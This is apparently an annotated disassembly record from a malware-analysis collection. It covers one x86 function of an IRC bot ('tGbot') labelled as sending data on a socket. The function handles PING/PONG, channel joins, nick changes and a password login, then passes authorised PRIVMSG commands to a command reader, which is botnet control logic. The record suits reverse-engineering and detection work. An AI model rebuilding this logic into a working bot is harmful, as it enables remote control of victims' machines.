Function at 0x40514a
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x894
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], 0
mov dword [esp + 8], 0x200
mov dword [esp + 4], 0
lea eax, [ebp - 0x228]
mov dword [esp], eax
call sym._memset
mov dword [esp + 8], 0x1ff
mov eax, dword [ebp + 8]
mov dword [esp + 4], eax
lea eax, [ebp - 0x428]
mov dword [esp], eax
call sym._strncpy
mov dword [esp + 4], 0x421520
lea eax, [ebp - 0x428]
mov dword [esp], eax
call sym._strtok
mov dword [ebp - 0x43c], eax
mov dword [ebp - 0xc], 1
jmp 0x4051e4
mov dword [esp + 4], 0x421520
mov dword [esp], 0
call sym._strtok
mov edx, dword [ebp - 0xc]
mov dword [ebp + edx*4 - 0x43c], eax
add dword [ebp - 0xc], 1
cmp dword [ebp - 0xc], 4
jle 0x4051c2
mov eax, dword [ebp - 0x43c]
test eax, eax
je 0x4051fe
mov eax, dword [ebp - 0x438]
test eax, eax
jne 0x405208
mov eax, 0
jmp 0x405c5b
mov eax, dword [ebp - 0x43c]
mov dword [esp + 4], eax
mov dword [esp], 0x424951
call sym._strcmp
test eax, eax
jne 0x40527b
mov eax, dword [ebp - 0x438]
mov dword [esp + 8], eax
mov dword [esp + 4], str.PONG__s_n
lea eax, [ebp - 0x228]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x228]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0xc], 0
mov dword [esp + 8], eax
lea eax, [ebp - 0x228]
mov dword [esp + 4], eax
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_send]
call eax
sub esp, 0x10
jmp 0x4053cd
mov eax, dword [ebp - 0x438]
mov dword [esp + 4], eax
mov dword [esp], 0x42495f
call sym._strcmp
test eax, eax
je 0x4052b3
mov eax, dword [ebp - 0x438]
mov dword [esp + 4], eax
mov dword [esp], 0x424963
call sym._strcmp
test eax, eax
jne 0x405342
mov dword [esp + 0xc], 0x41e038
mov dword [esp + 8], str.channel
mov dword [esp + 4], str.JOIN__s__s_n
lea eax, [ebp - 0x228]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x228]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0xc], 0
mov dword [esp + 8], eax
lea eax, [ebp - 0x228]
mov dword [esp + 4], eax
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_send]
call eax
sub esp, 0x10
mov dword [0x45ff78], 0
mov eax, dword [0x45ff74]
test eax, eax
je 0x405332
mov eax, dword [0x45ff74]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_closesocket]
call eax
sub esp, 4
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call sym._raw_commands
jmp 0x4053cd
mov eax, dword [ebp - 0x438]
mov dword [esp + 4], eax
mov dword [esp], 0x424973
call sym._strcmp
test eax, eax
je 0x405376
mov eax, dword [ebp - 0x438]
mov dword [esp + 4], eax
mov dword [esp], 0x424977
call sym._strcmp
test eax, eax
jne 0x4053cd
call sym._randnick
mov dword [esp + 8], 0x42a060
mov dword [esp + 4], str.NICK__tG___s_n
lea eax, [ebp - 0x228]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x228]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0xc], 0
mov dword [esp + 8], eax
lea eax, [ebp - 0x228]
mov dword [esp + 4], eax
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_send]
call eax
sub esp, 0x10
mov eax, dword [ebp - 0x434]
test eax, eax
jne 0x4053e1
mov eax, 0
jmp 0x405c5b
mov eax, dword [ebp - 0x438]
mov dword [esp + 4], eax
mov dword [esp], 0x424989
call sym._strcmp
test eax, eax
jne 0x405410
mov eax, dword [ebp - 0x430]
mov dword [esp + 4], eax
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call sym._raw_commandsonjoin
mov eax, dword [ebp - 0x43c]
add eax, 1
mov dword [esp + 8], 0x31
mov dword [esp + 4], eax
lea eax, [ebp - 0x46e]
mov dword [esp], eax
call sym._strncpy
mov dword [esp + 4], 0x421597
lea eax, [ebp - 0x46e]
mov dword [esp], eax
call sym._strtok
mov eax, dword [ebp - 0x438]
mov dword [esp + 4], eax
mov dword [esp], str.NICK
call sym._strcmp
test eax, eax
jne 0x4054bc
mov dword [ebp - 0xc], 0
jmp 0x4054b2
mov eax, dword [ebp - 0xc]
imul eax, eax, 0x32
lea edx, [eax + 0x460da0]
lea eax, [ebp - 0x46e]
mov dword [esp + 4], eax
mov dword [esp], edx
call sym._strcmp
test eax, eax
jne 0x4054ae
mov eax, dword [ebp - 0x434]
lea edx, [eax + 1]
mov eax, dword [ebp - 0xc]
imul eax, eax, 0x32
add eax, 0x460da0
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._strcpy
add dword [ebp - 0xc], 1
mov eax, 2
cmp dword [ebp - 0xc], eax
jl 0x40546c
mov eax, dword [ebp - 0x438]
mov dword [esp + 4], eax
mov dword [esp], str.QUIT
call sym._strcmp
test eax, eax
je 0x4054f0
mov eax, dword [ebp - 0x438]
mov dword [esp + 4], eax
mov dword [esp], str.PART
call sym._strcmp
test eax, eax
jne 0x40554c
mov dword [ebp - 0xc], 0
jmp 0x405542
mov eax, dword [ebp - 0xc]
imul eax, eax, 0x32
lea edx, [eax + 0x460da0]
lea eax, [ebp - 0x46e]
mov dword [esp + 4], eax
mov dword [esp], edx
call sym._strcmp
test eax, eax
jne 0x40553e
mov eax, dword [ebp - 0xc]
imul eax, eax, 0x32
add eax, 0x460da0
mov dword [esp + 8], 0x32
mov dword [esp + 4], 0
mov dword [esp], eax
call sym._memset
add dword [ebp - 0xc], 1
mov eax, 2
cmp dword [ebp - 0xc], eax
jle 0x4054f9
mov eax, dword [ebp - 0x430]
test eax, eax
jne 0x405560
mov eax, 0
jmp 0x405c5b
mov eax, dword [ebp - 0x430]
mov dword [esp + 4], eax
mov dword [esp], str.channel
call sym._strcmp
test eax, eax
jne 0x40560a
mov eax, dword [ebp - 0x438]
mov dword [esp + 4], eax
mov dword [esp], 0x42499c
call sym._strcmp
test eax, eax
je 0x405600
mov eax, dword [ebp - 0x438]
mov dword [esp + 4], eax
mov dword [esp], 0x4249a0
call sym._strcmp
test eax, eax
je 0x405600
mov eax, dword [ebp - 0x438]
mov dword [esp + 4], eax
mov dword [esp], 0x4249a4
call sym._strcmp
test eax, eax
je 0x405600
mov eax, dword [ebp - 0x438]
mov dword [esp + 4], eax
mov dword [esp], 0x4249a8
call sym._strcmp
test eax, eax
je 0x405600
mov eax, dword [ebp - 0x438]
mov dword [esp + 4], eax
mov dword [esp], 0x4249ac
call sym._strcmp
test eax, eax
jne 0x40560a
mov eax, 4
jmp 0x405c5b
mov eax, dword [ebp - 0x438]
mov dword [esp + 4], eax
mov dword [esp], str.KICK
call sym._strcmp
test eax, eax
jne 0x4056f8
mov dword [ebp - 0xc], 0
jmp 0x40567a
mov eax, dword [ebp - 0x430]
mov edx, dword [ebp - 0xc]
imul edx, edx, 0x32
add edx, 0x460da0
mov dword [esp + 4], eax
mov dword [esp], edx
call sym._strcmp
test eax, eax
jne 0x405676
mov eax, dword [ebp - 0xc]
imul eax, eax, 0x32
add eax, 0x460da0
mov dword [esp + 8], 0x32
mov dword [esp + 4], 0
mov dword [esp], eax
call sym._memset
add dword [ebp - 0xc], 1
mov eax, 2
cmp dword [ebp - 0xc], eax
jle 0x405631
mov eax, dword [ebp - 0x430]
mov dword [esp + 4], eax
mov dword [esp], 0x42a060
call sym._strcmp
test eax, eax
jne 0x4056f8
mov dword [esp + 0xc], 0x41e038
mov dword [esp + 8], str.channel
mov dword [esp + 4], str.JOIN__s__s_n
lea eax, [ebp - 0x228]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x228]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0xc], 0
mov dword [esp + 8], eax
lea eax, [ebp - 0x228]
mov dword [esp + 4], eax
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_send]
call eax
sub esp, 0x10
mov eax, dword [ebp - 0x438]
mov dword [esp + 4], eax
mov dword [esp], str.PRIVMSG
call sym._strcmp
test eax, eax
je 0x40573d
mov eax, dword [ebp - 0x438]
mov dword [esp + 4], eax
mov dword [esp], 0x4249bd
call sym._strcmp
test eax, eax
jne 0x405c58
mov eax, dword [0x41e080]
test eax, eax
je 0x405c58
mov eax, dword [ebp - 0x438]
mov dword [esp + 4], eax
mov dword [esp], str.PRIVMSG
call sym._strcmp
test eax, eax
jne 0x405989
mov eax, dword [ebp - 0x434]
mov dword [esp + 4], 0x23
mov dword [esp], eax
call sym._strchr
test eax, eax
jne 0x405781
lea eax, [ebp - 0x46e]
mov dword [ebp - 0x434], eax
mov dword [ebp - 0xc], 0
jmp 0x4057b7
mov eax, dword [ebp - 0xc]
imul eax, eax, 0x32
lea edx, [eax + 0x460da0]
lea eax, [ebp - 0x46e]
mov dword [esp + 4], eax
mov dword [esp], edx
call sym._strcmp
test eax, eax
jne 0x4057b3
mov dword [ebp - 0x14], 1
add dword [ebp - 0xc], 1
mov eax, 2
cmp dword [ebp - 0xc], eax
jle 0x40578a
mov eax, dword [ebp - 0x430]
mov dword [esp + 4], 0x4249c1
mov dword [esp], eax
call sym._strcmp
test eax, eax
jne 0x405837
mov dword [esp + 0xc], str.tGbot_nt
lea eax, [ebp - 0x46e]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x4249cc
lea eax, [ebp - 0x228]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x228]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0xc], 0
mov dword [esp + 8], eax
lea eax, [ebp - 0x228]
mov dword [esp + 4], eax
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_send]
call eax
sub esp, 0x10
mov eax, dword [ebp - 0x430]
mov dword [esp + 4], 0x4249e5
mov dword [esp], eax
call sym._strcmp
test eax, eax
jne 0x4058b9
mov eax, dword [ebp - 0x42c]
test eax, eax
je 0x4058b9
mov eax, dword [ebp - 0x42c]
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x46e]
mov dword [esp + 8], eax
mov dword [esp + 4], str.NOTICE__s_:
lea eax, [ebp - 0x228]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x228]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0xc], 0
mov dword [esp + 8], eax
lea eax, [ebp - 0x228]
mov dword [esp + 4], eax
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_send]
call eax
sub esp, 0x10
mov eax, dword [ebp - 0x430]
add eax, 1
mov dword [esp + 4], eax
mov dword [esp], str._login
call sym._strcmp
test eax, eax
jne 0x405995
mov eax, dword [ebp - 0x42c]
test eax, eax
je 0x405995
cmp dword [ebp - 0x14], 0
je 0x4058f8
mov eax, 0
jmp 0x405c5b
mov dword [ebp - 0x18], 0
jmp 0x405979
mov eax, dword [ebp - 0x18]
imul eax, eax, 0x32
add eax, 0x460da0
movzx eax, byte [eax]
test al, al
jne 0x405974
mov eax, dword [ebp - 0x42c]
mov dword [esp + 4], eax
mov dword [esp], 0x42a040
call sym._strcmp
test eax, eax
jne 0x405975
mov eax, dword [ebp - 0x43c]
mov dword [esp + 4], eax
lea eax, [ebp - 0x66e]
mov dword [esp], eax
call sym._strcpy
mov eax, dword [ebp - 0x18]
imul eax, eax, 0x32
lea edx, [eax + 0x460da0]
lea eax, [ebp - 0x46e]
mov dword [esp + 4], eax
mov dword [esp], edx
call sym._strcpy
mov dword [ebp - 0x14], 1
mov eax, 0
jmp 0x405c5b
nop
add dword [ebp - 0x18], 1
mov eax, 2
cmp dword [ebp - 0x18], eax
jl 0x405901
jmp 0x405995
mov eax, dword [ebp - 0x430]
mov dword [ebp - 0x434], eax
cmp dword [ebp - 0x14], 0
jne 0x4059bf
mov eax, dword [ebp - 0x438]
mov dword [esp + 4], eax
mov dword [esp], 0x4249bd
call sym._strcmp
test eax, eax
je 0x4059bf
mov eax, 0
jmp 0x405c5b
mov eax, dword [ebp - 0x430]
mov dword [esp + 4], eax
mov dword [esp], 0x424a01
call sym._strcmp
test eax, eax
jne 0x405a4a
mov eax, dword [ebp - 0x42c]
test eax, eax
je 0x405a4a
mov dword [esp + 4], 0x424a07
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strstr
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
add eax, 1
mov dword [esp + 4], 0x20
mov dword [esp], eax
call sym._strchr
mov dword [ebp - 0x24], eax
mov edx, dword [ebp - 0x434]
mov eax, dword [ebp - 0x24]
lea ecx, [eax + 1]
mov eax, dword [ebp - 0x42c]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], ecx
mov dword [esp + 8], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], eax
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call sym._read_command
mov dword [ebp - 0x10], eax
jmp 0x405c58
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x1c], eax
mov dword [esp + 4], 0x424a07
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strstr
add eax, 2
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
call sym._strlen
lea edx, [eax - 1]
mov eax, dword [ebp - 0x20]
add eax, edx
movzx eax, byte [eax]
cmp al, 0x73
jne 0x405b00
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
call sym._strlen
lea edx, [eax - 2]
mov eax, dword [ebp - 0x20]
add eax, edx
movzx eax, byte [eax]
cmp al, 0x2d
jne 0x405b00
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
call sym._strlen
lea edx, [eax - 3]
mov eax, dword [ebp - 0x20]
add eax, edx
movzx eax, byte [eax]
cmp al, 0x20
jne 0x405b00
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
call sym._strlen
lea edx, [eax - 1]
mov eax, dword [ebp - 0x20]
add eax, edx
mov byte [eax], 0
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
call sym._strlen
lea edx, [eax - 1]
mov eax, dword [ebp - 0x20]
add eax, edx
mov byte [eax], 0
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
call sym._strlen
lea edx, [eax - 1]
mov eax, dword [ebp - 0x20]
add eax, edx
mov byte [eax], 0
mov dword [ebp - 0x1c], 0
mov dword [esp + 8], 0x200
mov dword [esp + 4], 0
lea eax, [ebp - 0x86e]
mov dword [esp], eax
call sym._memset
mov eax, dword [ebp - 0x20]
mov dword [esp + 4], eax
lea eax, [ebp - 0x86e]
mov dword [esp], eax
call sym._strcpy
mov dword [esp + 4], 0x421520
lea eax, [ebp - 0x86e]
mov dword [esp], eax
call sym._strtok
mov dword [esp + 4], 0x42a060
lea eax, [ebp - 0x86e]
mov dword [esp], eax
call sym._strcmp
test eax, eax
je 0x405b81
mov dword [esp + 4], str.tGbot_nt_pub
lea eax, [ebp - 0x86e]
mov dword [esp], eax
call sym._strcmp
test eax, eax
jne 0x405c28
mov dword [esp + 8], 0x200
mov dword [esp + 4], 0
lea eax, [ebp - 0x66e]
mov dword [esp], eax
call sym._memset
mov eax, dword [ebp - 0x20]
mov dword [esp + 4], eax
lea eax, [ebp - 0x66e]
mov dword [esp], eax
call sym._strcpy
mov dword [esp + 4], 0x20
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
call sym._strchr
mov dword [ebp - 0x28], eax
mov dword [esp + 4], 0x421520
mov eax, dword [ebp - 0x28]
mov dword [esp], eax
call sym._strtok
mov ebx, dword [ebp - 0x434]
lea eax, [ebp - 0x86e]
add eax, 1
mov dword [esp], eax
call sym._strlen
lea edx, [eax + 1]
lea eax, [ebp - 0x66e]
add edx, eax
mov eax, dword [ebp - 0x28]
add eax, 1
mov dword [esp + 0x10], ebx
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._read_command
mov dword [ebp - 0x10], eax
jmp 0x405c58
mov eax, dword [ebp - 0x434]
mov dword [esp + 0x10], eax
mov eax, dword [ebp - 0x20]
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x86e]
mov dword [esp + 8], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._read_command
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov ebx, dword [ebp - 4]
leave
ret